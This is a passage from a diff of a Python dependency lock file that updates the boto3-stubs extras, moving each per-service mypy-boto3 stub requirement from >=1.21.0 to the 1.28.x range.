(>=1.21.0)", "mypy-boto3-elbv2 (>=1.21.0)", "mypy-boto3-emr (>=1.21.0)", "mypy-boto3-emr-containers (>=1.21.0)", "mypy-boto3-es (>=1.21.0)", "mypy-boto3-events (>=1.21.0)", "mypy-boto3-evidently (>=1.21.0)", "mypy-boto3-finspace (>=1.21.0)", "mypy-boto3-finspace-data (>=1.21.0)", "mypy-boto3-firehose (>=1.21.0)", "mypy-boto3-fis (>=1.21.0)", "mypy-boto3-fms (>=1.21.0)", "mypy-boto3-forecast (>=1.21.0)", "mypy-boto3-forecastquery (>=1.21.0)", "mypy-boto3-frauddetector (>=1.21.0)", "mypy-boto3-fsx (>=1.21.0)", "mypy-boto3-gamelift (>=1.21.0)", "mypy-boto3-glacier (>=1.21.0)", "mypy-boto3-globalaccelerator (>=1.21.0)", "mypy-boto3-glue (>=1.21.0)", "mypy-boto3-grafana (>=1.21.0)", "mypy-boto3-greengrass (>=1.21.0)", "mypy-boto3-greengrassv2 (>=1.21.0)", "mypy-boto3-groundstation (>=1.21.0)", "mypy-boto3-guardduty (>=1.21.0)", "mypy-boto3-health (>=1.21.0)", "mypy-boto3-healthlake (>=1.21.0)", "mypy-boto3-honeycode (>=1.21.0)", "mypy-boto3-iam (>=1.21.0)", "mypy-boto3-identitystore (>=1.21.0)", "mypy-boto3-imagebuilder (>=1.21.0)", "mypy-boto3-importexport (>=1.21.0)", "mypy-boto3-inspector (>=1.21.0)", "mypy-boto3-inspector2 (>=1.21.0)", "mypy-boto3-iot (>=1.21.0)", "mypy-boto3-iot-data (>=1.21.0)", "mypy-boto3-iot-jobs-data (>=1.21.0)", "mypy-boto3-iot1click-devices (>=1.21.0)", "mypy-boto3-iot1click-projects (>=1.21.0)", "mypy-boto3-iotanalytics (>=1.21.0)", "mypy-boto3-iotdeviceadvisor (>=1.21.0)", "mypy-boto3-iotevents (>=1.21.0)", "mypy-boto3-iotevents-data (>=1.21.0)", "mypy-boto3-iotfleethub (>=1.21.0)", "mypy-boto3-iotsecuretunneling (>=1.21.0)", "mypy-boto3-iotsitewise (>=1.21.0)", "mypy-boto3-iotthingsgraph (>=1.21.0)", "mypy-boto3-iottwinmaker (>=1.21.0)", "mypy-boto3-iotwireless (>=1.21.0)", "mypy-boto3-ivs (>=1.21.0)", "mypy-boto3-kafka (>=1.21.0)", "mypy-boto3-kafkaconnect (>=1.21.0)", "mypy-boto3-kendra (>=1.21.0)", "mypy-boto3-keyspaces (>=1.21.0)", "mypy-boto3-kinesis (>=1.21.0)", "mypy-boto3-kinesis-video-archived-media (>=1.21.0)", "mypy-boto3-kinesis-video-media (>=1.21.0)", "mypy-boto3-kinesis-video-signaling (>=1.21.0)", "mypy-boto3-kinesisanalytics (>=1.21.0)", "mypy-boto3-kinesisanalyticsv2 (>=1.21.0)", "mypy-boto3-kinesisvideo (>=1.21.0)", "mypy-boto3-kms (>=1.21.0)", "mypy-boto3-lakeformation (>=1.21.0)", "mypy-boto3-lambda (>=1.21.0)", "mypy-boto3-lex-models (>=1.21.0)", "mypy-boto3-lex-runtime (>=1.21.0)", "mypy-boto3-lexv2-models (>=1.21.0)", "mypy-boto3-lexv2-runtime (>=1.21.0)", "mypy-boto3-license-manager (>=1.21.0)", "mypy-boto3-lightsail (>=1.21.0)", "mypy-boto3-location (>=1.21.0)", "mypy-boto3-logs (>=1.21.0)", "mypy-boto3-lookoutequipment (>=1.21.0)", "mypy-boto3-lookoutmetrics (>=1.21.0)", "mypy-boto3-lookoutvision (>=1.21.0)", "mypy-boto3-machinelearning (>=1.21.0)", "mypy-boto3-macie (>=1.21.0)", "mypy-boto3-macie2 (>=1.21.0)", "mypy-boto3-managedblockchain (>=1.21.0)", "mypy-boto3-marketplace-catalog (>=1.21.0)", "mypy-boto3-marketplace-entitlement (>=1.21.0)", "mypy-boto3-marketplacecommerceanalytics (>=1.21.0)", "mypy-boto3-mediaconnect (>=1.21.0)", "mypy-boto3-mediaconvert (>=1.21.0)", "mypy-boto3-medialive (>=1.21.0)", "mypy-boto3-mediapackage (>=1.21.0)", "mypy-boto3-mediapackage-vod (>=1.21.0)", "mypy-boto3-mediastore (>=1.21.0)", "mypy-boto3-mediastore-data (>=1.21.0)", "mypy-boto3-mediatailor (>=1.21.0)", "mypy-boto3-memorydb (>=1.21.0)", "mypy-boto3-meteringmarketplace (>=1.21.0)", "mypy-boto3-mgh (>=1.21.0)", "mypy-boto3-mgn (>=1.21.0)", "mypy-boto3-migration-hub-refactor-spaces (>=1.21.0)", "mypy-boto3-migrationhub-config (>=1.21.0)", "mypy-boto3-migrationhubstrategy (>=1.21.0)", "mypy-boto3-mobile (>=1.21.0)", "mypy-boto3-mq (>=1.21.0)", "mypy-boto3-mturk (>=1.21.0)", "mypy-boto3-mwaa (>=1.21.0)", "mypy-boto3-neptune (>=1.21.0)", "mypy-boto3-network-firewall (>=1.21.0)", "mypy-boto3-networkmanager (>=1.21.0)", "mypy-boto3-nimble (>=1.21.0)", "mypy-boto3-opensearch (>=1.21.0)", "mypy-boto3-opsworks (>=1.21.0)", "mypy-boto3-opsworkscm (>=1.21.0)", "mypy-boto3-organizations (>=1.21.0)", "mypy-boto3-outposts (>=1.21.0)", "mypy-boto3-panorama (>=1.21.0)", "mypy-boto3-personalize (>=1.21.0)", "mypy-boto3-personalize-events (>=1.21.0)", "mypy-boto3-personalize-runtime (>=1.21.0)", "mypy-boto3-pi (>=1.21.0)", "mypy-boto3-pinpoint (>=1.21.0)", "mypy-boto3-pinpoint-email (>=1.21.0)", "mypy-boto3-pinpoint-sms-voice (>=1.21.0)", "mypy-boto3-polly (>=1.21.0)", "mypy-boto3-pricing (>=1.21.0)", "mypy-boto3-proton (>=1.21.0)", "mypy-boto3-qldb (>=1.21.0)", "mypy-boto3-qldb-session (>=1.21.0)", "mypy-boto3-quicksight (>=1.21.0)", "mypy-boto3-ram (>=1.21.0)", "mypy-boto3-rbin (>=1.21.0)", "mypy-boto3-rds (>=1.21.0)", "mypy-boto3-rds-data (>=1.21.0)", "mypy-boto3-redshift (>=1.21.0)", "mypy-boto3-redshift-data (>=1.21.0)", "mypy-boto3-rekognition (>=1.21.0)", "mypy-boto3-resiliencehub (>=1.21.0)", "mypy-boto3-resource-groups (>=1.21.0)", "mypy-boto3-resourcegroupstaggingapi (>=1.21.0)", "mypy-boto3-robomaker (>=1.21.0)", "mypy-boto3-route53 (>=1.21.0)", "mypy-boto3-route53-recovery-cluster (>=1.21.0)", "mypy-boto3-route53-recovery-control-config (>=1.21.0)", "mypy-boto3-route53-recovery-readiness (>=1.21.0)", "mypy-boto3-route53domains (>=1.21.0)", "mypy-boto3-route53resolver (>=1.21.0)", "mypy-boto3-rum (>=1.21.0)", "mypy-boto3-s3 (>=1.21.0)", "mypy-boto3-s3control (>=1.21.0)", "mypy-boto3-s3outposts (>=1.21.0)", "mypy-boto3-sagemaker (>=1.21.0)", "mypy-boto3-sagemaker-a2i-runtime (>=1.21.0)", "mypy-boto3-sagemaker-edge (>=1.21.0)", "mypy-boto3-sagemaker-featurestore-runtime (>=1.21.0)", "mypy-boto3-sagemaker-runtime (>=1.21.0)", "mypy-boto3-savingsplans (>=1.21.0)", "mypy-boto3-schemas (>=1.21.0)", "mypy-boto3-sdb (>=1.21.0)", "mypy-boto3-secretsmanager (>=1.21.0)", "mypy-boto3-securityhub (>=1.21.0)", "mypy-boto3-serverlessrepo (>=1.21.0)", "mypy-boto3-service-quotas (>=1.21.0)", "mypy-boto3-servicecatalog (>=1.21.0)", "mypy-boto3-servicecatalog-appregistry (>=1.21.0)", "mypy-boto3-servicediscovery (>=1.21.0)", "mypy-boto3-ses (>=1.21.0)", "mypy-boto3-sesv2 (>=1.21.0)", "mypy-boto3-shield (>=1.21.0)", "mypy-boto3-signer (>=1.21.0)", "mypy-boto3-sms (>=1.21.0)", "mypy-boto3-sms-voice (>=1.21.0)", "mypy-boto3-snow-device-management (>=1.21.0)", "mypy-boto3-snowball (>=1.21.0)", "mypy-boto3-sns (>=1.21.0)", "mypy-boto3-sqs (>=1.21.0)", "mypy-boto3-ssm (>=1.21.0)", "mypy-boto3-ssm-contacts (>=1.21.0)", "mypy-boto3-ssm-incidents (>=1.21.0)", "mypy-boto3-sso (>=1.21.0)", "mypy-boto3-sso-admin (>=1.21.0)", "mypy-boto3-sso-oidc (>=1.21.0)", "mypy-boto3-stepfunctions (>=1.21.0)", "mypy-boto3-storagegateway (>=1.21.0)", "mypy-boto3-sts (>=1.21.0)", "mypy-boto3-support (>=1.21.0)", "mypy-boto3-swf (>=1.21.0)", "mypy-boto3-synthetics (>=1.21.0)", "mypy-boto3-textract (>=1.21.0)", "mypy-boto3-timestream-query (>=1.21.0)", "mypy-boto3-timestream-write (>=1.21.0)", "mypy-boto3-transcribe (>=1.21.0)", "mypy-boto3-transfer (>=1.21.0)", "mypy-boto3-translate (>=1.21.0)", "mypy-boto3-voice-id (>=1.21.0)", "mypy-boto3-waf (>=1.21.0)", "mypy-boto3-waf-regional (>=1.21.0)", "mypy-boto3-wafv2 (>=1.21.0)", "mypy-boto3-wellarchitected (>=1.21.0)", "mypy-boto3-wisdom (>=1.21.0)", "mypy-boto3-workdocs (>=1.21.0)", "mypy-boto3-worklink (>=1.21.0)", "mypy-boto3-workmail (>=1.21.0)", "mypy-boto3-workmailmessageflow (>=1.21.0)", "mypy-boto3-workspaces (>=1.21.0)", "mypy-boto3-workspaces-web (>=1.21.0)", "mypy-boto3-xray (>=1.21.0)"] -amp = ["mypy-boto3-amp (>=1.21.0)"] -amplify = ["mypy-boto3-amplify (>=1.21.0)"] -amplifybackend = ["mypy-boto3-amplifybackend (>=1.21.0)"] -amplifyuibuilder = ["mypy-boto3-amplifyuibuilder (>=1.21.0)"] -apigateway = ["mypy-boto3-apigateway (>=1.21.0)"] -apigatewaymanagementapi = ["mypy-boto3-apigatewaymanagementapi (>=1.21.0)"] -apigatewayv2 = ["mypy-boto3-apigatewayv2 (>=1.21.0)"] -appconfig = ["mypy-boto3-appconfig (>=1.21.0)"] -appconfigdata = ["mypy-boto3-appconfigdata (>=1.21.0)"] -appflow = ["mypy-boto3-appflow (>=1.21.0)"] -appintegrations = ["mypy-boto3-appintegrations (>=1.21.0)"] -application-autoscaling = ["mypy-boto3-application-autoscaling (>=1.21.0)"] -application-insights = ["mypy-boto3-application-insights (>=1.21.0)"] -applicationcostprofiler = ["mypy-boto3-applicationcostprofiler (>=1.21.0)"] -appmesh = ["mypy-boto3-appmesh (>=1.21.0)"] -apprunner = ["mypy-boto3-apprunner (>=1.21.0)"] -appstream = ["mypy-boto3-appstream (>=1.21.0)"] -appsync = ["mypy-boto3-appsync (>=1.21.0)"] -athena = ["mypy-boto3-athena (>=1.21.0)"] -auditmanager = ["mypy-boto3-auditmanager (>=1.21.0)"] -autoscaling = ["mypy-boto3-autoscaling (>=1.21.0)"] -autoscaling-plans = ["mypy-boto3-autoscaling-plans (>=1.21.0)"] -backup = ["mypy-boto3-backup (>=1.21.0)"] -backup-gateway = ["mypy-boto3-backup-gateway (>=1.21.0)"] -batch = ["mypy-boto3-batch (>=1.21.0)"] -billingconductor = ["mypy-boto3-billingconductor (>=1.21.0)"] -braket = ["mypy-boto3-braket (>=1.21.0)"] -budgets = ["mypy-boto3-budgets (>=1.21.0)"] -ce = ["mypy-boto3-ce (>=1.21.0)"] -chime = ["mypy-boto3-chime (>=1.21.0)"] -chime-sdk-identity = ["mypy-boto3-chime-sdk-identity (>=1.21.0)"] -chime-sdk-meetings = ["mypy-boto3-chime-sdk-meetings (>=1.21.0)"] -chime-sdk-messaging = ["mypy-boto3-chime-sdk-messaging (>=1.21.0)"] -cloud9 = ["mypy-boto3-cloud9 (>=1.21.0)"] -cloudcontrol = ["mypy-boto3-cloudcontrol (>=1.21.0)"] -clouddirectory = ["mypy-boto3-clouddirectory (>=1.21.0)"] -cloudformation = ["mypy-boto3-cloudformation (>=1.21.0)"] -cloudfront = ["mypy-boto3-cloudfront (>=1.21.0)"] -cloudhsm = ["mypy-boto3-cloudhsm (>=1.21.0)"] -cloudhsmv2 = ["mypy-boto3-cloudhsmv2 (>=1.21.0)"] -cloudsearch = ["mypy-boto3-cloudsearch (>=1.21.0)"] -cloudsearchdomain = ["mypy-boto3-cloudsearchdomain (>=1.21.0)"] -cloudtrail = ["mypy-boto3-cloudtrail (>=1.21.0)"] -cloudwatch = ["mypy-boto3-cloudwatch (>=1.21.0)"] -codeartifact = ["mypy-boto3-codeartifact (>=1.21.0)"] -codebuild = ["mypy-boto3-codebuild (>=1.21.0)"] -codecommit = ["mypy-boto3-codecommit (>=1.21.0)"] -codedeploy = ["mypy-boto3-codedeploy (>=1.21.0)"] -codeguru-reviewer = ["mypy-boto3-codeguru-reviewer (>=1.21.0)"] -codeguruprofiler = ["mypy-boto3-codeguruprofiler (>=1.21.0)"] -codepipeline = ["mypy-boto3-codepipeline (>=1.21.0)"] -codestar = ["mypy-boto3-codestar (>=1.21.0)"] -codestar-connections = ["mypy-boto3-codestar-connections (>=1.21.0)"] -codestar-notifications = ["mypy-boto3-codestar-notifications (>=1.21.0)"] -cognito-identity = ["mypy-boto3-cognito-identity (>=1.21.0)"] -cognito-idp = ["mypy-boto3-cognito-idp (>=1.21.0)"] -cognito-sync = ["mypy-boto3-cognito-sync (>=1.21.0)"] -comprehend = ["mypy-boto3-comprehend (>=1.21.0)"] -comprehendmedical = ["mypy-boto3-comprehendmedical (>=1.21.0)"] -compute-optimizer = ["mypy-boto3-compute-optimizer (>=1.21.0)"] -config = ["mypy-boto3-config (>=1.21.0)"] -connect = ["mypy-boto3-connect (>=1.21.0)"] -connect-contact-lens = ["mypy-boto3-connect-contact-lens (>=1.21.0)"] -connectparticipant = ["mypy-boto3-connectparticipant (>=1.21.0)"] -cur = ["mypy-boto3-cur (>=1.21.0)"] -customer-profiles = ["mypy-boto3-customer-profiles (>=1.21.0)"] -databrew = ["mypy-boto3-databrew (>=1.21.0)"] -dataexchange = ["mypy-boto3-dataexchange (>=1.21.0)"] -datapipeline = ["mypy-boto3-datapipeline (>=1.21.0)"] -datasync = ["mypy-boto3-datasync (>=1.21.0)"] -dax = ["mypy-boto3-dax (>=1.21.0)"] -detective = ["mypy-boto3-detective (>=1.21.0)"] -devicefarm = ["mypy-boto3-devicefarm (>=1.21.0)"] -devops-guru = ["mypy-boto3-devops-guru (>=1.21.0)"] -directconnect = ["mypy-boto3-directconnect (>=1.21.0)"] -discovery = ["mypy-boto3-discovery (>=1.21.0)"] -dlm = ["mypy-boto3-dlm (>=1.21.0)"] -dms = ["mypy-boto3-dms (>=1.21.0)"] -docdb = ["mypy-boto3-docdb (>=1.21.0)"] -drs = ["mypy-boto3-drs (>=1.21.0)"] -ds = ["mypy-boto3-ds (>=1.21.0)"] -dynamodb = ["mypy-boto3-dynamodb (>=1.21.0)"] -dynamodbstreams = ["mypy-boto3-dynamodbstreams (>=1.21.0)"] -ebs = ["mypy-boto3-ebs (>=1.21.0)"] -ec2 = ["mypy-boto3-ec2 (>=1.21.0)"] -ec2-instance-connect = ["mypy-boto3-ec2-instance-connect (>=1.21.0)"] -ecr = ["mypy-boto3-ecr (>=1.21.0)"] -ecr-public = ["mypy-boto3-ecr-public (>=1.21.0)"] -ecs = ["mypy-boto3-ecs (>=1.21.0)"] -efs = ["mypy-boto3-efs (>=1.21.0)"] -eks = ["mypy-boto3-eks (>=1.21.0)"] -elastic-inference = ["mypy-boto3-elastic-inference (>=1.21.0)"] -elasticache = ["mypy-boto3-elasticache (>=1.21.0)"] -elasticbeanstalk = ["mypy-boto3-elasticbeanstalk (>=1.21.0)"] -elastictranscoder = ["mypy-boto3-elastictranscoder (>=1.21.0)"] -elb = ["mypy-boto3-elb (>=1.21.0)"] -elbv2 = ["mypy-boto3-elbv2 (>=1.21.0)"] -emr = ["mypy-boto3-emr (>=1.21.0)"] -emr-containers = ["mypy-boto3-emr-containers (>=1.21.0)"] -es = ["mypy-boto3-es (>=1.21.0)"] -essential = ["mypy-boto3-cloudformation (>=1.21.0)", "mypy-boto3-dynamodb (>=1.21.0)", "mypy-boto3-ec2 (>=1.21.0)", "mypy-boto3-lambda (>=1.21.0)", "mypy-boto3-rds (>=1.21.0)", "mypy-boto3-s3 (>=1.21.0)", "mypy-boto3-sqs (>=1.21.0)"] -events = ["mypy-boto3-events (>=1.21.0)"] -evidently = ["mypy-boto3-evidently (>=1.21.0)"] -finspace = ["mypy-boto3-finspace (>=1.21.0)"] -finspace-data = ["mypy-boto3-finspace-data (>=1.21.0)"] -firehose = ["mypy-boto3-firehose (>=1.21.0)"] -fis = ["mypy-boto3-fis (>=1.21.0)"] -fms = ["mypy-boto3-fms (>=1.21.0)"] -forecast = ["mypy-boto3-forecast (>=1.21.0)"] -forecastquery = ["mypy-boto3-forecastquery (>=1.21.0)"] -frauddetector = ["mypy-boto3-frauddetector (>=1.21.0)"] -fsx = ["mypy-boto3-fsx (>=1.21.0)"] -gamelift = ["mypy-boto3-gamelift (>=1.21.0)"] -glacier = ["mypy-boto3-glacier (>=1.21.0)"] -globalaccelerator = ["mypy-boto3-globalaccelerator (>=1.21.0)"] -glue = ["mypy-boto3-glue (>=1.21.0)"] -grafana = ["mypy-boto3-grafana (>=1.21.0)"] -greengrass = ["mypy-boto3-greengrass (>=1.21.0)"] -greengrassv2 = ["mypy-boto3-greengrassv2 (>=1.21.0)"] -groundstation = ["mypy-boto3-groundstation (>=1.21.0)"] -guardduty = ["mypy-boto3-guardduty (>=1.21.0)"] -health = ["mypy-boto3-health (>=1.21.0)"] -healthlake = ["mypy-boto3-healthlake (>=1.21.0)"] -honeycode = ["mypy-boto3-honeycode (>=1.21.0)"] -iam = ["mypy-boto3-iam (>=1.21.0)"] -identitystore = ["mypy-boto3-identitystore (>=1.21.0)"] -imagebuilder = ["mypy-boto3-imagebuilder (>=1.21.0)"] -importexport = ["mypy-boto3-importexport (>=1.21.0)"] -inspector = ["mypy-boto3-inspector (>=1.21.0)"] -inspector2 = ["mypy-boto3-inspector2 (>=1.21.0)"] -iot = ["mypy-boto3-iot (>=1.21.0)"] -iot-data = ["mypy-boto3-iot-data (>=1.21.0)"] -iot-jobs-data = ["mypy-boto3-iot-jobs-data (>=1.21.0)"] -iot1click-devices = ["mypy-boto3-iot1click-devices (>=1.21.0)"] -iot1click-projects = ["mypy-boto3-iot1click-projects (>=1.21.0)"] -iotanalytics = ["mypy-boto3-iotanalytics (>=1.21.0)"] -iotdeviceadvisor = ["mypy-boto3-iotdeviceadvisor (>=1.21.0)"] -iotevents = ["mypy-boto3-iotevents (>=1.21.0)"] -iotevents-data = ["mypy-boto3-iotevents-data (>=1.21.0)"] -iotfleethub = ["mypy-boto3-iotfleethub (>=1.21.0)"] -iotsecuretunneling = ["mypy-boto3-iotsecuretunneling (>=1.21.0)"] -iotsitewise = ["mypy-boto3-iotsitewise (>=1.21.0)"] -iotthingsgraph = ["mypy-boto3-iotthingsgraph (>=1.21.0)"] -iottwinmaker = ["mypy-boto3-iottwinmaker (>=1.21.0)"] -iotwireless = ["mypy-boto3-iotwireless (>=1.21.0)"] -ivs = ["mypy-boto3-ivs (>=1.21.0)"] -kafka = ["mypy-boto3-kafka (>=1.21.0)"] -kafkaconnect = ["mypy-boto3-kafkaconnect (>=1.21.0)"] -kendra = ["mypy-boto3-kendra (>=1.21.0)"] -keyspaces = ["mypy-boto3-keyspaces (>=1.21.0)"] -kinesis = ["mypy-boto3-kinesis (>=1.21.0)"] -kinesis-video-archived-media = ["mypy-boto3-kinesis-video-archived-media (>=1.21.0)"] -kinesis-video-media = ["mypy-boto3-kinesis-video-media (>=1.21.0)"] -kinesis-video-signaling = ["mypy-boto3-kinesis-video-signaling (>=1.21.0)"] -kinesisanalytics = ["mypy-boto3-kinesisanalytics (>=1.21.0)"] -kinesisanalyticsv2 = ["mypy-boto3-kinesisanalyticsv2 (>=1.21.0)"] -kinesisvideo = ["mypy-boto3-kinesisvideo (>=1.21.0)"] -kms = ["mypy-boto3-kms (>=1.21.0)"] -lakeformation = ["mypy-boto3-lakeformation (>=1.21.0)"] -lambda = ["mypy-boto3-lambda (>=1.21.0)"] -lex-models = ["mypy-boto3-lex-models (>=1.21.0)"] -lex-runtime = ["mypy-boto3-lex-runtime (>=1.21.0)"] -lexv2-models = ["mypy-boto3-lexv2-models (>=1.21.0)"] -lexv2-runtime = ["mypy-boto3-lexv2-runtime (>=1.21.0)"] -license-manager = ["mypy-boto3-license-manager (>=1.21.0)"] -lightsail = ["mypy-boto3-lightsail (>=1.21.0)"] -location = ["mypy-boto3-location (>=1.21.0)"] -logs = ["mypy-boto3-logs (>=1.21.0)"] -lookoutequipment = ["mypy-boto3-lookoutequipment (>=1.21.0)"] -lookoutmetrics = ["mypy-boto3-lookoutmetrics (>=1.21.0)"] -lookoutvision = ["mypy-boto3-lookoutvision (>=1.21.0)"] -machinelearning = ["mypy-boto3-machinelearning (>=1.21.0)"] -macie = ["mypy-boto3-macie (>=1.21.0)"] -macie2 = ["mypy-boto3-macie2 (>=1.21.0)"] -managedblockchain = ["mypy-boto3-managedblockchain (>=1.21.0)"] -marketplace-catalog = ["mypy-boto3-marketplace-catalog (>=1.21.0)"] -marketplace-entitlement = ["mypy-boto3-marketplace-entitlement (>=1.21.0)"] -marketplacecommerceanalytics = ["mypy-boto3-marketplacecommerceanalytics (>=1.21.0)"] -mediaconnect = ["mypy-boto3-mediaconnect (>=1.21.0)"] -mediaconvert = ["mypy-boto3-mediaconvert (>=1.21.0)"] -medialive = ["mypy-boto3-medialive (>=1.21.0)"] -mediapackage = ["mypy-boto3-mediapackage (>=1.21.0)"] -mediapackage-vod = ["mypy-boto3-mediapackage-vod (>=1.21.0)"] -mediastore = ["mypy-boto3-mediastore (>=1.21.0)"] -mediastore-data = ["mypy-boto3-mediastore-data (>=1.21.0)"] -mediatailor = ["mypy-boto3-mediatailor (>=1.21.0)"] -memorydb = ["mypy-boto3-memorydb (>=1.21.0)"] -meteringmarketplace = ["mypy-boto3-meteringmarketplace (>=1.21.0)"] -mgh = ["mypy-boto3-mgh (>=1.21.0)"] -mgn = ["mypy-boto3-mgn (>=1.21.0)"] -migration-hub-refactor-spaces = ["mypy-boto3-migration-hub-refactor-spaces (>=1.21.0)"] -migrationhub-config = ["mypy-boto3-migrationhub-config (>=1.21.0)"] -migrationhubstrategy = ["mypy-boto3-migrationhubstrategy (>=1.21.0)"] -mobile = ["mypy-boto3-mobile (>=1.21.0)"] -mq = ["mypy-boto3-mq (>=1.21.0)"] -mturk = ["mypy-boto3-mturk (>=1.21.0)"] -mwaa = ["mypy-boto3-mwaa (>=1.21.0)"] -neptune = ["mypy-boto3-neptune (>=1.21.0)"] -network-firewall = ["mypy-boto3-network-firewall (>=1.21.0)"] -networkmanager = ["mypy-boto3-networkmanager (>=1.21.0)"] -nimble = ["mypy-boto3-nimble (>=1.21.0)"] -opensearch = ["mypy-boto3-opensearch (>=1.21.0)"] -opsworks = ["mypy-boto3-opsworks (>=1.21.0)"] -opsworkscm = ["mypy-boto3-opsworkscm (>=1.21.0)"] -organizations = ["mypy-boto3-organizations (>=1.21.0)"] -outposts = ["mypy-boto3-outposts (>=1.21.0)"] -panorama = ["mypy-boto3-panorama (>=1.21.0)"] -personalize = ["mypy-boto3-personalize (>=1.21.0)"] -personalize-events = ["mypy-boto3-personalize-events (>=1.21.0)"] -personalize-runtime = ["mypy-boto3-personalize-runtime (>=1.21.0)"] -pi = ["mypy-boto3-pi (>=1.21.0)"] -pinpoint = ["mypy-boto3-pinpoint (>=1.21.0)"] -pinpoint-email = ["mypy-boto3-pinpoint-email (>=1.21.0)"] -pinpoint-sms-voice = ["mypy-boto3-pinpoint-sms-voice (>=1.21.0)"] -polly = ["mypy-boto3-polly (>=1.21.0)"] -pricing = ["mypy-boto3-pricing (>=1.21.0)"] -proton = ["mypy-boto3-proton (>=1.21.0)"] -qldb = ["mypy-boto3-qldb (>=1.21.0)"] -qldb-session = ["mypy-boto3-qldb-session (>=1.21.0)"] -quicksight = ["mypy-boto3-quicksight (>=1.21.0)"] -ram = ["mypy-boto3-ram (>=1.21.0)"] -rbin = ["mypy-boto3-rbin (>=1.21.0)"] -rds = ["mypy-boto3-rds (>=1.21.0)"] -rds-data = ["mypy-boto3-rds-data (>=1.21.0)"] -redshift = ["mypy-boto3-redshift (>=1.21.0)"] -redshift-data = ["mypy-boto3-redshift-data (>=1.21.0)"] -rekognition = ["mypy-boto3-rekognition (>=1.21.0)"] -resiliencehub = ["mypy-boto3-resiliencehub (>=1.21.0)"] -resource-groups = ["mypy-boto3-resource-groups (>=1.21.0)"] -resourcegroupstaggingapi = ["mypy-boto3-resourcegroupstaggingapi (>=1.21.0)"] -robomaker = ["mypy-boto3-robomaker (>=1.21.0)"] -route53 = ["mypy-boto3-route53 (>=1.21.0)"] -route53-recovery-cluster = ["mypy-boto3-route53-recovery-cluster (>=1.21.0)"] -route53-recovery-control-config = ["mypy-boto3-route53-recovery-control-config (>=1.21.0)"] -route53-recovery-readiness = ["mypy-boto3-route53-recovery-readiness (>=1.21.0)"] -route53domains = ["mypy-boto3-route53domains (>=1.21.0)"] -route53resolver = ["mypy-boto3-route53resolver (>=1.21.0)"] -rum = ["mypy-boto3-rum (>=1.21.0)"] -s3 = ["mypy-boto3-s3 (>=1.21.0)"] -s3control = ["mypy-boto3-s3control (>=1.21.0)"] -s3outposts = ["mypy-boto3-s3outposts (>=1.21.0)"] -sagemaker = ["mypy-boto3-sagemaker (>=1.21.0)"] -sagemaker-a2i-runtime = ["mypy-boto3-sagemaker-a2i-runtime (>=1.21.0)"] -sagemaker-edge = ["mypy-boto3-sagemaker-edge (>=1.21.0)"] -sagemaker-featurestore-runtime = ["mypy-boto3-sagemaker-featurestore-runtime (>=1.21.0)"] -sagemaker-runtime = ["mypy-boto3-sagemaker-runtime (>=1.21.0)"] -savingsplans = ["mypy-boto3-savingsplans (>=1.21.0)"] -schemas = ["mypy-boto3-schemas (>=1.21.0)"] -sdb = ["mypy-boto3-sdb (>=1.21.0)"] -secretsmanager = ["mypy-boto3-secretsmanager (>=1.21.0)"] -securityhub = ["mypy-boto3-securityhub (>=1.21.0)"] -serverlessrepo = ["mypy-boto3-serverlessrepo (>=1.21.0)"] -service-quotas = ["mypy-boto3-service-quotas (>=1.21.0)"] -servicecatalog = ["mypy-boto3-servicecatalog (>=1.21.0)"] -servicecatalog-appregistry = ["mypy-boto3-servicecatalog-appregistry (>=1.21.0)"] -servicediscovery = ["mypy-boto3-servicediscovery (>=1.21.0)"] -ses = ["mypy-boto3-ses (>=1.21.0)"] -sesv2 = ["mypy-boto3-sesv2 (>=1.21.0)"] -shield = ["mypy-boto3-shield (>=1.21.0)"] -signer = ["mypy-boto3-signer (>=1.21.0)"] -sms = ["mypy-boto3-sms (>=1.21.0)"] -sms-voice = ["mypy-boto3-sms-voice (>=1.21.0)"] -snow-device-management = ["mypy-boto3-snow-device-management (>=1.21.0)"] -snowball = ["mypy-boto3-snowball (>=1.21.0)"] -sns = ["mypy-boto3-sns (>=1.21.0)"] -sqs = ["mypy-boto3-sqs (>=1.21.0)"] -ssm = ["mypy-boto3-ssm (>=1.21.0)"] -ssm-contacts = ["mypy-boto3-ssm-contacts (>=1.21.0)"] -ssm-incidents = ["mypy-boto3-ssm-incidents (>=1.21.0)"] -sso = ["mypy-boto3-sso (>=1.21.0)"] -sso-admin = ["mypy-boto3-sso-admin (>=1.21.0)"] -sso-oidc = ["mypy-boto3-sso-oidc (>=1.21.0)"] -stepfunctions = ["mypy-boto3-stepfunctions (>=1.21.0)"] -storagegateway = ["mypy-boto3-storagegateway (>=1.21.0)"] -sts = ["mypy-boto3-sts (>=1.21.0)"] -support = ["mypy-boto3-support (>=1.21.0)"] -swf = ["mypy-boto3-swf (>=1.21.0)"] -synthetics = ["mypy-boto3-synthetics (>=1.21.0)"] -textract = ["mypy-boto3-textract (>=1.21.0)"] -timestream-query = ["mypy-boto3-timestream-query (>=1.21.0)"] -timestream-write = ["mypy-boto3-timestream-write (>=1.21.0)"] -transcribe = ["mypy-boto3-transcribe (>=1.21.0)"] -transfer = ["mypy-boto3-transfer (>=1.21.0)"] -translate = ["mypy-boto3-translate (>=1.21.0)"] -voice-id = ["mypy-boto3-voice-id (>=1.21.0)"] -waf = ["mypy-boto3-waf (>=1.21.0)"] -waf-regional = ["mypy-boto3-waf-regional (>=1.21.0)"] -wafv2 = ["mypy-boto3-wafv2 (>=1.21.0)"] -wellarchitected = ["mypy-boto3-wellarchitected (>=1.21.0)"] -wisdom = ["mypy-boto3-wisdom (>=1.21.0)"] -workdocs = ["mypy-boto3-workdocs (>=1.21.0)"] -worklink = ["mypy-boto3-worklink (>=1.21.0)"] -workmail = ["mypy-boto3-workmail (>=1.21.0)"] -workmailmessageflow = ["mypy-boto3-workmailmessageflow (>=1.21.0)"] -workspaces = ["mypy-boto3-workspaces (>=1.21.0)"] -workspaces-web = ["mypy-boto3-workspaces-web (>=1.21.0)"] -xray = ["mypy-boto3-xray (>=1.21.0)"] +accessanalyzer = ["mypy-boto3-accessanalyzer (>=1.28.0,<1.29.0)"] +account = ["mypy-boto3-account (>=1.28.0,<1.29.0)"] +acm = ["mypy-boto3-acm (>=1.28.0,<1.29.0)"] +acm-pca = ["mypy-boto3-acm-pca (>=1.28.0,<1.29.0)"] +alexaforbusiness = ["mypy-boto3-alexaforbusiness (>=1.28.0,<1.29.0)"] +all = ["mypy-boto3-accessanalyzer (>=1.28.0,<1.29.0)", "mypy-boto3-account (>=1.28.0,<1.29.0)", "mypy-boto3-acm (>=1.28.0,<1.29.0)", "mypy-boto3-acm-pca (>=1.28.0,<1.29.0)", "mypy-boto3-alexaforbusiness 